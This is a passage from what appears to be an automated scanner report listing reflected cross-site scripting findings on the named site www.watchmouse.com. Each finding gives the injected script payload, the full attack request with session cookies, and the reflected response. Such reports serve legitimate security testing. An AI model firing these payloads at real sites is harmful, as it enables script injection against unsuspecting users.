P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13082

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/nld8993"><script>alert(1)</script>32c3ef2dc88/register.php" method="post">
...[SNIP]...

1.674. http://www.watchmouse.com/nl/register.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/nl/register.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 381ad"><script>alert(1)</script>241c7dc5221 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /nl/register.php381ad"><script>alert(1)</script>241c7dc5221 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:21 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-nl-312994e6953b91a69ba1840444e2796d"
Content-Language: nl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13104

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="nl" lang="nl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/nl/register.php381ad"><script>alert(1)</script>241c7dc5221" method="post">
...[SNIP]...

1.675. http://www.watchmouse.com/nl/register.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/nl/register.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 71fa2"><script>alert(1)</script>573473eb23f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /nl/register.php?vpackid=35&71fa2"><script>alert(1)</script>573473eb23f=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:08:31 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-nl-1044d29fa78264de821263810e1dca33"
Content-Language: nl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 26159

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="nl" lang="nl">
<head><tit
...[SNIP]...
<a href="/en/register.php?vpackid=35&71fa2"><script>alert(1)</script>573473eb23f=1" onclick="$('#lang-menu').toggle();">
...[SNIP]...

1.676. http://www.watchmouse.com/nl/website_monitoring_features.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/nl/website_monitoring_features.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3c6e0"><script>alert(1)</script>3d49aef1cb4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /nl3c6e0"><script>alert(1)</script>3d49aef1cb4/website_monitoring_features.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:35 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-042f137386fe1e7b2e551ce700652acc"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/nl3c6e0"><script>alert(1)</script>3d49aef1cb4/website_monitoring_features.php" method="post">
...[SNIP]...

1.677. http://www.watchmouse.com/nl/website_monitoring_features.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/nl/website_monitoring_features.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2df12"><script>alert(1)</script>d8eeb0b124a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /nl/website_monitoring_features.php2df12"><script>alert(1)</script>d8eeb0b124a HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:36 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-nl-b2ff63fe6bc82a5b34dc424e90eef385"
Content-Language: nl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13275

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="nl" lang="nl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/nl/website_monitoring_features.php2df12"><script>alert(1)</script>d8eeb0b124a" method="post">
...[SNIP]...

1.678. http://www.watchmouse.com/nl/website_monitoring_features.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/nl/website_monitoring_features.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3e680"><script>alert(1)</script>cd703d2a2b7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /nl/website_monitoring_features.php?3e680"><script>alert(1)</script>cd703d2a2b7=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:29:32 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-nl-c9edd816d36e4b35213e4d47d0244299"
Content-Language: nl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 29073

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="nl" lang="nl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/nl/website_monitoring_features.php?3e680"><script>alert(1)</script>cd703d2a2b7=1" method="post">
...[SNIP]...

1.679. http://www.watchmouse.com/passwd.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/passwd.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d8b8a"><script>alert(1)</script>10f13f8664f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /passwd.phpd8b8a"><script>alert(1)</script>10f13f8664f?mlang=en HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:15 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-abff8baafd58ea66624b18db79b72e21"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13118

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/passwd.phpd8b8a"><script>alert(1)</script>10f13f8664f?mlang=en" method="post">
...[SNIP]...

1.680. http://www.watchmouse.com/passwd.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/passwd.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload de4fe"><img%20src%3da%20onerror%3dalert(1)>98c61c2c55a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as de4fe"><img src=a onerror=alert(1)>98c61c2c55a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /passwd.php/de4fe"><img%20src%3da%20onerror%3dalert(1)>98c61c2c55a HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:08:27 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-67bba20e825cfaa52a47cfd243cde21d"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Length: 2402
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html>
<head>
<title>WatchMouse website monitoring service - Forgot your passwo
...[SNIP]...
<form method="post" name="de4fe"><img src=a onerror=alert(1)>98c61c2c55a" action="de4fe">
...[SNIP]...

1.681. http://www.watchmouse.com/pl/ [3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pl/

Issue detail

The value of the 3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1e1bc"><script>alert(1)</script>b37e9dae786 was submitted in the 3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pl/?3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0=11e1bc"><script>alert(1)</script>b37e9dae786 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:09:40 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pl-d27e90a1c22bec2084c2492ff4f86dcd"
Content-Language: pl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18876

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl" lang="pl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pl/?3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0=11e1bc"><script>alert(1)</script>b37e9dae786" method="post">
...[SNIP]...

1.682. http://www.watchmouse.com/pl/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pl/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 45256"><script>alert(1)</script>d536618f519 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /pl45256"><script>alert(1)</script>d536618f519/ HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:42 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-fd627d12417550c912cc50bb870ab616"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 12974

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/pl45256"><script>alert(1)</script>d536618f519/" method="post">
...[SNIP]...

1.683. http://www.watchmouse.com/pl/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pl/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e21fd"><script>alert(1)</script>00ba83addfc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pl/?e21fd"><script>alert(1)</script>00ba83addfc=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:09:39 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pl-2a3514b2b8382e20594bf10a440cbe69"
Content-Language: pl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18255

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl" lang="pl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pl/?e21fd"><script>alert(1)</script>00ba83addfc=1" method="post">
...[SNIP]...

1.684. http://www.watchmouse.com/pl/feature/public-status-page.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pl/feature/public-status-page.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 41f70"><script>alert(1)</script>a033ee12353 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /pl41f70"><script>alert(1)</script>a033ee12353/feature/public-status-page.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:59 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-38d8cd4cb6a349c7d15d95a64352ea7e"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/pl41f70"><script>alert(1)</script>a033ee12353/feature/public-status-page.html" method="post">
...[SNIP]...

1.685. http://www.watchmouse.com/pl/feature/public-status-page.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pl/feature/public-status-page.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1f50c"><script>alert(1)</script>7dc2f2113f2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pl/feature1f50c"><script>alert(1)</script>7dc2f2113f2/public-status-page.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:10:01 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pl-eeae91448d4854d8b08d6ac4ddefb7d6"
Content-Language: pl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13313

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl" lang="pl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pl/feature1f50c"><script>alert(1)</script>7dc2f2113f2/public-status-page.html" method="post">
...[SNIP]...

1.686. http://www.watchmouse.com/pl/feature/public-status-page.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pl/feature/public-status-page.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 18eaf"><script>alert(1)</script>37507cdf564 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pl/feature/public-status-page.html18eaf"><script>alert(1)</script>37507cdf564 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:10:04 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-pl-e1f94a96703c74da1c81f4cd69dcfd0b"
Content-Language: pl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13313

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl" lang="pl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/pl/feature/public-status-page.html18eaf"><script>alert(1)</script>37507cdf564" method="post">
...[SNIP]...

1.687. http://www.watchmouse.com/pl/feature/public-status-page.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/pl/feature/public-status-page.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 335bc"><script>alert(1)</script>caa1a04e178 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /pl/feature/public-status-page.html?335bc"><script>alert(1)</script>caa1a04e178=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:09:56 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
